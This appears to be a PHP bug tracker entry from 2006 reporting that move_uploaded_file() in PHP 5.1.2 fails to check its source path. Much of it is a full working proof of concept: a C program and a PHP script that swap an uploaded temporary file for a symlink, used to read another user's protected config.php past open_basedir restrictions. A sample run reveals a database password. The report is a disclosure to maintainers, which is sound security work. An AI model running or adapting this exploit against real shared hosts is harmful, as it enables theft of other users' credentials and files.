ID:               36548
 Updated by:       [EMAIL PROTECTED]
 Reported By:      pucik at gazeta dot pl
-Status:           Open
+Status:           Feedback
-Bug Type:         Reproducible crash
+Bug Type:         Unknown/Other Function
 Operating System: linux
 PHP Version:      5.1.2
 New Comment:

Please provide unified diff with detailed explanations.


Previous Comments:
------------------------------------------------------------------------

[2006-02-27 19:40:25] pucik at gazeta dot pl

Description:
------------
Hi,

Vulnerable code is:

ext/standard/basic_functions.c


PHP_FUNCTION(move_uploaded_file)
{
      zval **path, **new_path;
      zend_bool successful = 0;

      if (!SG(rfc1867_uploaded_files)) {
            RETURN_FALSE;
      }

      if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &path,
&new_path) !=
SUCCESS) {            ZEND_WRONG_PARAM_COUNT();
      }
      convert_to_string_ex(path);
      convert_to_string_ex(new_path);

      if (!zend_hash_exists(SG(rfc1867_uploaded_files),
Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1)) {            RETURN_FALSE;
      }

      if (PG(safe_mode) && (!php_checkuid(Z_STRVAL_PP(new_path), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {            RETURN_FALSE;
      }

      if (php_check_open_basedir(Z_STRVAL_PP(new_path) TSRMLS_CC)) {
            RETURN_FALSE;
      }

      VCWD_UNLINK(Z_STRVAL_PP(new_path));
      if (rename(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)) == 0) {
            successful = 1;
      } else
            if (php_copy_file(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)
TSRMLS_CC) == SUCCESS) {            VCWD_UNLINK(Z_STRVAL_PP(path));
            successful = 1;
      }

      if (successful) {
            zend_hash_del(SG(rfc1867_uploaded_files),
Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1);      } else {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to move
'%s' to
'%s'", Z_STRVAL_PP(path), Z_STRVAL_PP(new_path));      }
      RETURN_BOOL(successful);
}


That function doesn`t check "path" parameter. For example it could be
symlink to
file that can be read only by apache.


3. PoC

We must upload some file, unlink this file from upload_dir folder and
create
symlink to file what we wont to read. There is a full working code:


/* -------------------------------- phpbug_upload.c
-----------------*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

#define FILE_PATH "31337.txt"
#define LINKS_PATH "/usr/bin/links"

int main(int argc, char *argv[])
{
      int child;
      char buf[1024];
      char *url, *file;
      FILE *fp;
      memset(buf, 0, sizeof(buf));
      if(argc < 3)
      {
           printf("%s <php_file_url> <file_to_read>\n", argv[0]);
           exit(0);
      }

      url = argv[1];
      file = argv[2];

      child = fork();

      if(!child)
      {
           execl(LINKS_PATH, LINKS_PATH, "-source", url, NULL);
           perror("execl");
      }

      sleep(2);

      fp = fopen(FILE_PATH, "r");

      if(!fp)
      {
           perror("fopen");
           exit(-1);
      }

      fgets(buf, sizeof(buf), fp);

      fclose(fp);
      symlink(file, buf);

      wait();
      printf("\n");
      unlink(buf);
      return 0;
}
/* -------------------------------- phpbug_upload.c
-----------------*/


/* -------------------------------- phpbug_upload.php
-----------------*/
<?php

error_reporting(0);

if(isset($_FILES['plik']))
{
      $fp = fopen("31337.txt", "w");
      fputs($fp, $_FILES['plik']['tmp_name']);
      fclose($fp);
      chmod("31337.txt", 0777);
      unlink($_FILES['plik']['tmp_name']);
      sleep(4);
      move_uploaded_file($_FILES['plik']['tmp_name'],
$_FILES['plik']['name']."31337");      exit;
}

$fp = fsockopen($_SERVER["SERVER_ADDR"], 80, $errno, $errstr, 30);

if (!$fp) {
      echo "$errstr ($errno)<br />\n";
      exit;
}

$out = "POST " . $_SERVER['PHP_SELF'] . " HTTP/1.1\r\n";
$out .= "Host: " . $_SERVER["SERVER_NAME"] . "\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-Length: 196\r\n";
$out .= "Expect: 100-continue\r\n";
$out .= "Content-Type: multipart/form-data; "; 
$out .= "boundary=----------------------------c32f5965dde9\r\n\r\n";

fwrite($fp, $out);

fread($fp, 1024);

$out = "------------------------------c32f5965dde9\r\n";
$out .= "Content-Disposition: form-data; name=\"plik\";
filename=\"31337.txt\"\r\n"; $out .= "Content-Type:
text/plain\r\n\r\n";
$out .=
"\r\nkurwamac\r\n\r\n------------------------------c32f5965dde9--\r\n\r\n";

fwrite($fp, $out);

while(!feof($fp))
      fread($fp, 1024);

fclose($fp);

readfile("31337.txt" . "31337");

unlink("31337.txt" . "31337");
unlink("31337.txt");

?>
/* -------------------------------- phpbug_upload.php
-----------------*/


This is example of usage:

[czubakabra public_html]$ ls -l /home/users/test/public_html/config.php

-r--------  1 http http 49 2006-01-01 19:01
/home/users/test/public_html/config.php

[czubakabra public_html]$ cat /home/users/test/public_html/config.php
cat: /home/users/test/public_html/config.php: Brak dost&#281;pu


[czubakabra public_html]$ links -source
http://localhost/~czubakabra/test.php
<br />
<b>Warning</b>:  readfile() [<a
href='function.readfile'>function.readfile</a>]:
open_basedir restriction in effect.
File(/home/users/test/public_html/config.php) is not within the allowed
path(s):
(/home/users/pucik) in
<b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br /> <br />
<b>Warning</b>:  readfile(/home/users/test/public_html/config.php) [<a
href='function.readfile'>function.readfile</a>]: failed to open
stream:
Operation not permitted in
<b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br />


But we can do it, with exploit this vulnerability:

[czubakabra public_html]$ ./phpbug_upload
"http://localhost/~czubakabra/phpbug_upload.php";
/home/users/test/public_html/config.php 
<?

echo "hihyha";

$dbpass = "hax0rek";

?>

This is very usefully on server that hosting shell accounts. It works
also on
SeLinux systems and others, then user is other domain.

Best regards,
Damian Put



------------------------------------------------------------------------


-- 
Edit this bug report at http://bugs.php.net/?id=36548&edit=1

Reply via email to